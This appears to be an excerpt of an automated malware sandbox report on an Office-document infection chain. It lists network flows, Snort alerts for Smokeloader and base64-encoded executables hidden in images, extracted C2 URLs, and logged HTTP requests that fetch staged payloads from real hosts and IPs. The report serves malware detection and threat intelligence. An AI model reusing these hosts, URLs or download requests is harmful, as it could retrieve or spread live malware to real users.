Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 198.46.177.156:80
Source: global traffic TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49172

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2047750 ET TROJAN Base64 Encoded MZ In Image 188.114.97.3:443 -> 192.168.2.22:49174
Source: Traffic Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 188.114.97.3:443 -> 192.168.2.22:49174
Source: Traffic Snort IDS: 2025012 ET TROJAN Powershell commands sent B64 3 188.114.97.3:443 -> 192.168.2.22:49174
Source: Traffic Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 188.114.97.3:443 -> 192.168.2.22:49174
Source: Traffic Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.22:49176 -> 77.232.129.190:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\explorer.exe Network Connect: 77.232.129.190 80 Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Domain query: paste.ee
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 188.114.96.3 443 Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Domain query: prolinice.ga
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://prolinice.ga/index.php
Source: Malware configuration extractor URLs: http://vilendar.ga/index.php
Connects to a pastebin service (likely for C&C)
Source: unknown DNS query: name: paste.ee
Yara detected Generic Downloader
Source: Yara match File source: 12.2.powershell.exe.82d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.471104189.00000000082D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /images/004/785/720/original/new_image.jpg?1716307634 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/785/720/original/new_image.jpg?1716307634 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic HTTP traffic detected: GET /8080/RBG.txt HTTP/1.1Host: 198.46.177.156Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 54.241.153.192 54.241.153.192
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: BSTV-ASRU BSTV-ASRU
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /d/Bo3r4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: paste.eeConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /nXPJ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: z2.inkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/msdc/lionsarebeautifultoruletheforestandtheyalwayskingogthejunglewhoneverknowmanythingkingisrigerbutlionisthekingo__junglelionbeautiufl.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.177.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /8080/lionarekingofjungleimageshere.bmp HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.177.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://aikpfjvjuwcsxfjs.net/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: prolinice.ga
Source: global traffic HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://prolinice.ga/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 1395Host: prolinice.ga
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: unknown TCP traffic detected without corresponding DNS query: 198.46.177.156
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\61AE6F44.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /d/Bo3r4 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: paste.eeConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/785/720/original/new_image.jpg?1716307634 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/004/785/720/original/new_image.jpg?1716307634 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic HTTP traffic detected: GET /nXPJ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: z2.inkConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/msdc/lionsarebeautifultoruletheforestandtheyalwayskingogthejunglewhoneverknowmanythingkingisrigerbutlionisthekingo__junglelionbeautiufl.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.177.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /8080/lionarekingofjungleimageshere.bmp HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.177.156Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /8080/RBG.txt HTTP/1.1Host: 198.46.177.156Connection: Keep-Alive
Source: wscript.exe, 00000009.00000003.418483952.00000000034B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.423380001.0000000003489000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.458145376.00000000050DE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: z2.ink
Source: global traffic DNS traffic detected: DNS query: paste.ee
Source: global traffic DNS traffic detected: DNS query: uploaddeimagens.com.br
Source: global traffic DNS traffic detected: DNS query: prolinice.ga
Source: unknown HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://aikpfjvjuwcsxfjs.net/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: prolinice.ga
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Edge: smart-1.high-performance.networkDate: Mon, 27 May 2024 16:35:13 GMTContent-Length: 102317Server: LINKSGPTCache-Control: no-store, no-cache, must-revalidateConnection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 0a 6c 61 6e 67 3d 65 6e 2d 55 53 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 3e 3c 68 65 61 64 3e 3c 73 74 79 6c 65 3e 69 6d 67 2e 6c 61 7a 79 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 72 65 6c 6f 61 64 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 64 33 62 74 72 68 65 79 65 6a 6d 69 76 79 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 65 64 67 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 33 2d 74 6f 74 61 6c 2d 63 61 63 68 65 2f 70 75 62 2f 6a 73 2f 6c 61 7a 79 6c 6f 61 64 2e 6d 69 6e 2e 6a 73 20 61 73 3d 73 63 72 69 70 74 3e 3c 6d 65 74 61 0a 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 0a 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 69 6e 67 62 61 63 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 66 61 63 65 2e 6c 69 6e 6b 73 67 70 74 2e 63 6f 6d 2f 65 64 67 65 2f 78 6d 6c 72 70 63 2e 70 68 70 3e 20 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 3c 2f 73 63 72 69 70 74 3e 20 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 73 74 79 6c 65 20 69 64 3d 65 74 2d 64 69 76 69 2d 6f 70 65 6e 2d 73 61 6e 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 2f 2a 20 4f 72 69 67 69 6e 61 6c 3a 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 69 74 61 6c 69 63 2c 34 30 30 69 74 61 6c 69 63 2c 36 30 30 69 74 61 6c 69 63 2c 37 30 30 69 74 61 6c 69 63 2c 38 30 30 69 74 61 6c 69 63 2c 34 30 30 2c 33 30 30 2c 36 30 30 2c 37 30 30 2c 38 30 30 26 23 30 33 38 3b 73 75 62 73 65 74 3d 6c 61 74 69 6e 2c 6c 61 74 69 6e 2d 65 78 74 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 20 2a 2f 2f 2a 20 55 73 65 72 20 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 55 6e 6b 6e 6f 77 6e 3b 20 4c 69 6e 75 78 20 78 38 36 5f 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 38 2e 31 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 53 61 66 61 72 69 2f 35 33 38 2e 31 20 44 61 75 6d 2f 34 2e 31 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4f 70 65 6e 20 53 61 6e 73 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 69 74 61 6c 69 63 3b 6
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Edge: smart-1.high-performance.networkDate: Mon, 27 May 2024 16:35:14 GMTContent-Length: 102317Server: LINKSGPTCache-Control: no-store, no-cache, must-revalidateConnection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 0a 6c 61 6e 67 3d 65 6e 2d 55 53 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 3e 3c 68 65 61 64 3e 3c 73 74 79 6c 65 3e 69 6d 67 2e 6c 61 7a 79 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 72 65 6c 6f 61 64 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 64 33 62 74 72 68 65 79 65 6a 6d 69 76 79 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 65 64 67 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 33 2d 74 6f 74 61 6c 2d 63 61 63 68 65 2f 70 75 62 2f 6a 73 2f 6c 61 7a 79 6c 6f 61 64 2e 6d 69 6e 2e 6a 73 20 61 73 3d 73 63 72 69 70 74 3e 3c 6d 65 74 61 0a 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 0a 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 69 6e 67 62 61 63 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 66 61 63 65 2e 6c 69 6e 6b 73 67 70 74 2e 63 6f 6d 2f 65 64 67 65 2f 78 6d 6c 72 70 63 2e 70 68 70 3e 20 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 3c 2f 73 63 72 69 70 74 3e 20 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 73 74 79 6c 65 20 69 64 3d 65 74 2d 64 69 76 69 2d 6f 70 65 6e 2d 73 61 6e 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 2f 2a 20 4f 72 69 67 69 6e 61 6c 3a 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 69 74 61 6c 69 63 2c 34 30 30 69 74 61 6c 69 63 2c 36 30 30 69 74 61 6c 69 63 2c 37 30 30 69 74 61 6c 69 63 2c 38 30 30 69 74 61 6c 69 63 2c 34 30 30 2c 33 30 30 2c 36 30 30 2c 37 30 30 2c 38 30 30 26 23 30 33 38 3b 73 75 62 73 65 74 3d 6c 61 74 69 6e 2c 6c 61 74 69 6e 2d 65 78 74 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 20 2a 2f 2f 2a 20 55 73 65 72 20 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 55 6e 6b 6e 6f 77 6e 3b 20 4c 69 6e 75 78 20 78 38 36 5f 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 38 2e 31 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 53 61 66 61 72 69 2f 35 33 38 2e 31 20 44 61 75 6d 2f 34 2e 31 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4f 70 65 6e 20 53 61 6e 73 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 69 74 61 6c 69 63 3b 6
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Edge: smart-1.high-performance.networkDate: Mon, 27 May 2024 16:35:15 GMTContent-Length: 102317Server: LINKSGPTCache-Control: no-store, no-cache, must-revalidateConnection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 0a 6c 61 6e 67 3d 65 6e 2d 55 53 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 3e 3c 68 65 61 64 3e 3c 73 74 79 6c 65 3e 69 6d 67 2e 6c 61 7a 79 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 72 65 6c 6f 61 64 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 64 33 62 74 72 68 65 79 65 6a 6d 69 76 79 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 65 64 67 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 33 2d 74 6f 74 61 6c 2d 63 61 63 68 65 2f 70 75 62 2f 6a 73 2f 6c 61 7a 79 6c 6f 61 64 2e 6d 69 6e 2e 6a 73 20 61 73 3d 73 63 72 69 70 74 3e 3c 6d 65 74 61 0a 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 0a 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 69 6e 67 62 61 63 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 66 61 63 65 2e 6c 69 6e 6b 73 67 70 74 2e 63 6f 6d 2f 65 64 67 65 2f 78 6d 6c 72 70 63 2e 70 68 70 3e 20 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 3c 2f 73 63 72 69 70 74 3e 20 3c 6c 69 6e 6b 0a 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 73 74 79 6c 65 20 69 64 3d 65 74 2d 64 69 76 69 2d 6f 70 65 6e 2d 73 61 6e 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 2f 2a 20 4f 72 69 67 69 6e 61 6c 3a 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 69 74 61 6c 69 63 2c 34 30 30 69 74 61 6c 69 63 2c 36 30 30 69 74 61 6c 69 63 2c 37 30 30 69 74 61 6c 69 63 2c 38 30 30 69 74 61 6c 69 63 2c 34 30 30 2c 33 30 30 2c 36 30 30 2c 37 30 30 2c 38 30 30 26 23 30 33 38 3b 73 75 62 73 65 74 3d 6c 61 74 69 6e 2c 6c 61 74 69 6e 2d 65 78 74 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 20 2a 2f 2f 